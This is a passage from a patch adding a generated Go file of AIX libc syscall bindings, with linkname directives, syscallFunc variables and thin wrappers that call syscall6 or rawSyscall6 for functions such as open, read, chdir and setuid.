-+//go:linkname libc_chdir libc_chdir
-+//go:linkname libc_chroot libc_chroot
-+//go:linkname libc_close libc_close
-+//go:linkname libc_dup libc_dup
-+//go:linkname libc_exit libc_exit
-+//go:linkname libc_faccessat libc_faccessat
-+//go:linkname libc_fchdir libc_fchdir
-+//go:linkname libc_fchmod libc_fchmod
-+//go:linkname libc_fchmodat libc_fchmodat
-+//go:linkname libc_fchownat libc_fchownat
-+//go:linkname libc_fdatasync libc_fdatasync
-+//go:linkname libc_fsync libc_fsync
-+//go:linkname libc_getpgid libc_getpgid
-+//go:linkname libc_getpgrp libc_getpgrp
-+//go:linkname libc_getpid libc_getpid
-+//go:linkname libc_getppid libc_getppid
-+//go:linkname libc_getpriority libc_getpriority
-+//go:linkname libc_getrusage libc_getrusage
-+//go:linkname libc_getsid libc_getsid
-+//go:linkname libc_kill libc_kill
-+//go:linkname libc_syslog libc_syslog
-+//go:linkname libc_mkdir libc_mkdir
-+//go:linkname libc_mkdirat libc_mkdirat
-+//go:linkname libc_mkfifo libc_mkfifo
-+//go:linkname libc_mknod libc_mknod
-+//go:linkname libc_mknodat libc_mknodat
-+//go:linkname libc_nanosleep libc_nanosleep
-+//go:linkname libc_open64 libc_open64
-+//go:linkname libc_openat libc_openat
-+//go:linkname libc_read libc_read
-+//go:linkname libc_readlink libc_readlink
-+//go:linkname libc_renameat libc_renameat
-+//go:linkname libc_setdomainname libc_setdomainname
-+//go:linkname libc_sethostname libc_sethostname
-+//go:linkname libc_setpgid libc_setpgid
-+//go:linkname libc_setsid libc_setsid
-+//go:linkname libc_settimeofday libc_settimeofday
-+//go:linkname libc_setuid libc_setuid
-+//go:linkname libc_setgid libc_setgid
-+//go:linkname libc_setpriority libc_setpriority
-+//go:linkname libc_statx libc_statx
-+//go:linkname libc_sync libc_sync
-+//go:linkname libc_times libc_times
-+//go:linkname libc_umask libc_umask
-+//go:linkname libc_uname libc_uname
-+//go:linkname libc_unlink libc_unlink
-+//go:linkname libc_unlinkat libc_unlinkat
-+//go:linkname libc_ustat libc_ustat
-+//go:linkname libc_write libc_write
-+//go:linkname libc_dup2 libc_dup2
-+//go:linkname libc_posix_fadvise64 libc_posix_fadvise64
-+//go:linkname libc_fchown libc_fchown
-+//go:linkname libc_fstat libc_fstat
-+//go:linkname libc_fstatat libc_fstatat
-+//go:linkname libc_fstatfs libc_fstatfs
-+//go:linkname libc_ftruncate libc_ftruncate
-+//go:linkname libc_getegid libc_getegid
-+//go:linkname libc_geteuid libc_geteuid
-+//go:linkname libc_getgid libc_getgid
-+//go:linkname libc_getuid libc_getuid
-+//go:linkname libc_lchown libc_lchown
-+//go:linkname libc_listen libc_listen
-+//go:linkname libc_lstat libc_lstat
-+//go:linkname libc_pause libc_pause
-+//go:linkname libc_pread64 libc_pread64
-+//go:linkname libc_pwrite64 libc_pwrite64
-+//go:linkname libc_select libc_select
-+//go:linkname libc_pselect libc_pselect
-+//go:linkname libc_setregid libc_setregid
-+//go:linkname libc_setreuid libc_setreuid
-+//go:linkname libc_shutdown libc_shutdown
-+//go:linkname libc_splice libc_splice
-+//go:linkname libc_stat libc_stat
-+//go:linkname libc_statfs libc_statfs
-+//go:linkname libc_truncate libc_truncate
-+//go:linkname libc_bind libc_bind
-+//go:linkname libc_connect libc_connect
-+//go:linkname libc_getgroups libc_getgroups
-+//go:linkname libc_setgroups libc_setgroups
-+//go:linkname libc_getsockopt libc_getsockopt
-+//go:linkname libc_setsockopt libc_setsockopt
-+//go:linkname libc_socket libc_socket
-+//go:linkname libc_socketpair libc_socketpair
-+//go:linkname libc_getpeername libc_getpeername
-+//go:linkname libc_getsockname libc_getsockname
-+//go:linkname libc_recvfrom libc_recvfrom
-+//go:linkname libc_sendto libc_sendto
-+//go:linkname libc_nrecvmsg libc_nrecvmsg
-+//go:linkname libc_nsendmsg libc_nsendmsg
-+//go:linkname libc_munmap libc_munmap
-+//go:linkname libc_madvise libc_madvise
-+//go:linkname libc_mprotect libc_mprotect
-+//go:linkname libc_mlock libc_mlock
-+//go:linkname libc_mlockall libc_mlockall
-+//go:linkname libc_msync libc_msync
-+//go:linkname libc_munlock libc_munlock
-+//go:linkname libc_munlockall libc_munlockall
-+//go:linkname libc_pipe libc_pipe
-+//go:linkname libc_poll libc_poll
-+//go:linkname libc_gettimeofday libc_gettimeofday
-+//go:linkname libc_time libc_time
-+//go:linkname libc_utime libc_utime
-+//go:linkname libc_getsystemcfg libc_getsystemcfg
-+//go:linkname libc_umount libc_umount
-+//go:linkname libc_getrlimit libc_getrlimit
-+//go:linkname libc_setrlimit libc_setrlimit
-+//go:linkname libc_lseek libc_lseek
-+//go:linkname libc_mmap64 libc_mmap64
-+
-+type syscallFunc uintptr
-+
-+var (
-+ libc_utimes,
-+ libc_utimensat,
-+ libc_getcwd,
-+ libc_accept,
-+ libc_getdirent,
-+ libc_wait4,
-+ libc_ioctl,
-+ libc_fcntl,
-+ libc_acct,
-+ libc_chdir,
-+ libc_chroot,
-+ libc_close,
-+ libc_dup,
-+ libc_exit,
-+ libc_faccessat,
-+ libc_fchdir,
-+ libc_fchmod,
-+ libc_fchmodat,
-+ libc_fchownat,
-+ libc_fdatasync,
-+ libc_fsync,
-+ libc_getpgid,
-+ libc_getpgrp,
-+ libc_getpid,
-+ libc_getppid,
-+ libc_getpriority,
-+ libc_getrusage,
-+ libc_getsid,
-+ libc_kill,
-+ libc_syslog,
-+ libc_mkdir,
-+ libc_mkdirat,
-+ libc_mkfifo,
-+ libc_mknod,
-+ libc_mknodat,
-+ libc_nanosleep,
-+ libc_open64,
-+ libc_openat,
-+ libc_read,
-+ libc_readlink,
-+ libc_renameat,
-+ libc_setdomainname,
-+ libc_sethostname,
-+ libc_setpgid,
-+ libc_setsid,
-+ libc_settimeofday,
-+ libc_setuid,
-+ libc_setgid,
-+ libc_setpriority,
-+ libc_statx,
-+ libc_sync,
-+ libc_times,
-+ libc_umask,
-+ libc_uname,
-+ libc_unlink,
-+ libc_unlinkat,
-+ libc_ustat,
-+ libc_write,
-+ libc_dup2,
-+ libc_posix_fadvise64,
-+ libc_fchown,
-+ libc_fstat,
-+ libc_fstatat,
-+ libc_fstatfs,
-+ libc_ftruncate,
-+ libc_getegid,
-+ libc_geteuid,
-+ libc_getgid,
-+ libc_getuid,
-+ libc_lchown,
-+ libc_listen,
-+ libc_lstat,
-+ libc_pause,
-+ libc_pread64,
-+ libc_pwrite64,
-+ libc_select,
-+ libc_pselect,
-+ libc_setregid,
-+ libc_setreuid,
-+ libc_shutdown,
-+ libc_splice,
-+ libc_stat,
-+ libc_statfs,
-+ libc_truncate,
-+ libc_bind,
-+ libc_connect,
-+ libc_getgroups,
-+ libc_setgroups,
-+ libc_getsockopt,
-+ libc_setsockopt,
-+ libc_socket,
-+ libc_socketpair,
-+ libc_getpeername,
-+ libc_getsockname,
-+ libc_recvfrom,
-+ libc_sendto,
-+ libc_nrecvmsg,
-+ libc_nsendmsg,
-+ libc_munmap,
-+ libc_madvise,
-+ libc_mprotect,
-+ libc_mlock,
-+ libc_mlockall,
-+ libc_msync,
-+ libc_munlock,
-+ libc_munlockall,
-+ libc_pipe,
-+ libc_poll,
-+ libc_gettimeofday,
-+ libc_time,
-+ libc_utime,
-+ libc_getsystemcfg,
-+ libc_umount,
-+ libc_getrlimit,
-+ libc_setrlimit,
-+ libc_lseek,
-+ libc_mmap64 syscallFunc
-+)
-+
-+// Implemented in runtime/syscall_aix.go.
-+func rawSyscall6(trap, nargs, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)
-+func syscall6(trap, nargs, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callutimes(_p0 uintptr, times uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_utimes)), 2, _p0, times, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callutimensat(dirfd int, _p0 uintptr, times uintptr, flag int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_utimensat)), 4, uintptr(dirfd), _p0, times, uintptr(flag), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetcwd(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_getcwd)), 2, _p0, uintptr(_lenp0), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callaccept(s int, rsa uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_accept)), 3, uintptr(s), rsa, addrlen, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetdirent(fd int, _p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_getdirent)), 3, uintptr(fd), _p0, uintptr(_lenp0), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callwait4(pid int, status uintptr, options int, rusage uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_wait4)), 4, uintptr(pid), status, uintptr(options), rusage, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callioctl(fd int, req int, arg uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_ioctl)), 3, uintptr(fd), uintptr(req), arg, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfcntl(fd uintptr, cmd int, arg uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fcntl)), 3, fd, uintptr(cmd), arg, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callacct(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_acct)), 1, _p0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callchdir(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_chdir)), 1, _p0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callchroot(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_chroot)), 1, _p0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callclose(fd int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_close)), 1, uintptr(fd), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calldup(oldfd int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_dup)), 1, uintptr(oldfd), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callexit(code int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_exit)), 1, uintptr(code), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfaccessat(dirfd int, _p0 uintptr, mode uint32, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_faccessat)), 4, uintptr(dirfd), _p0, uintptr(mode), uintptr(flags), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchdir(fd int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fchdir)), 1, uintptr(fd), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchmod(fd int, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fchmod)), 2, uintptr(fd), uintptr(mode), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchmodat(dirfd int, _p0 uintptr, mode uint32, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fchmodat)), 4, uintptr(dirfd), _p0, uintptr(mode), uintptr(flags), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchownat(dirfd int, _p0 uintptr, uid int, gid int, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fchownat)), 5, uintptr(dirfd), _p0, uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfdatasync(fd int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fdatasync)), 1, uintptr(fd), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfsync(fd int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fsync)), 1, uintptr(fd), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpgid(pid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getpgid)), 1, uintptr(pid), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpgrp() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_getpgrp)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpid() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getpid)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetppid() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getppid)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpriority(which int, who int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_getpriority)), 2, uintptr(which), uintptr(who), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetrusage(who int, rusage uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getrusage)), 2, uintptr(who), rusage, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetsid(pid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getsid)), 1, uintptr(pid), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callkill(pid int, sig int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_kill)), 2, uintptr(pid), uintptr(sig), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsyslog(typ int, _p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_syslog)), 3, uintptr(typ), _p0, uintptr(_lenp0), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmkdir(dirfd int, _p0 uintptr, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mkdir)), 3, uintptr(dirfd), _p0, uintptr(mode), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmkdirat(dirfd int, _p0 uintptr, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mkdirat)), 3, uintptr(dirfd), _p0, uintptr(mode), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmkfifo(_p0 uintptr, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mkfifo)), 2, _p0, uintptr(mode), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmknod(_p0 uintptr, mode uint32, dev int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mknod)), 3, _p0, uintptr(mode), uintptr(dev), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmknodat(dirfd int, _p0 uintptr, mode uint32, dev int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mknodat)), 4, uintptr(dirfd), _p0, uintptr(mode), uintptr(dev), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callnanosleep(time uintptr, leftover uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_nanosleep)), 2, time, leftover, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callopen64(_p0 uintptr, mode int, perm uint32) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_open64)), 3, _p0, uintptr(mode), uintptr(perm), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callopenat(dirfd int, _p0 uintptr, flags int, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_openat)), 4, uintptr(dirfd), _p0, uintptr(flags), uintptr(mode), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callread(fd int, _p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_read)), 3, uintptr(fd), _p0, uintptr(_lenp0), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callreadlink(_p0 uintptr, _p1 uintptr, _lenp1 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_readlink)), 3, _p0, _p1, uintptr(_lenp1), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callrenameat(olddirfd int, _p0 uintptr, newdirfd int, _p1 uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_renameat)), 4, uintptr(olddirfd), _p0, uintptr(newdirfd), _p1, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetdomainname(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_setdomainname)), 2, _p0, uintptr(_lenp0), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsethostname(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_sethostname)), 2, _p0, uintptr(_lenp0), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetpgid(pid int, pgid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_setpgid)), 2, uintptr(pid), uintptr(pgid), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetsid() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_setsid)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsettimeofday(tv uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_settimeofday)), 1, tv, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetuid(uid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_setuid)), 1, uintptr(uid), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetgid(uid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_setgid)), 1, uintptr(uid), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetpriority(which int, who int, prio int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_setpriority)), 3, uintptr(which), uintptr(who), uintptr(prio), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callstatx(dirfd int, _p0 uintptr, flags int, mask int, stat uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_statx)), 5, uintptr(dirfd), _p0, uintptr(flags), uintptr(mask), stat, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsync() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_sync)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calltimes(tms uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_times)), 1, tms, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callumask(mask int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_umask)), 1, uintptr(mask), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calluname(buf uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_uname)), 1, buf, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callunlink(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_unlink)), 1, _p0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callunlinkat(dirfd int, _p0 uintptr, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_unlinkat)), 3, uintptr(dirfd), _p0, uintptr(flags), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callustat(dev int, ubuf uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_ustat)), 2, uintptr(dev), ubuf, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callwrite(fd int, _p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_write)), 3, uintptr(fd), _p0, uintptr(_lenp0), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calldup2(oldfd int, newfd int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_dup2)), 2, uintptr(oldfd), uintptr(newfd), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callposix_fadvise64(fd int, offset int64, length int64, advice int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_posix_fadvise64)), 4, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchown(fd int, uid int, gid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fchown)), 3, uintptr(fd), uintptr(uid), uintptr(gid), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfstat(fd int, stat uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fstat)), 2, uintptr(fd), stat, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfstatat(dirfd int, _p0 uintptr, stat uintptr, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fstatat)), 4, uintptr(dirfd), _p0, stat, uintptr(flags), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfstatfs(fd int, buf uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_fstatfs)), 2, uintptr(fd), buf, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callftruncate(fd int, length int64) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_ftruncate)), 2, uintptr(fd), uintptr(length), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
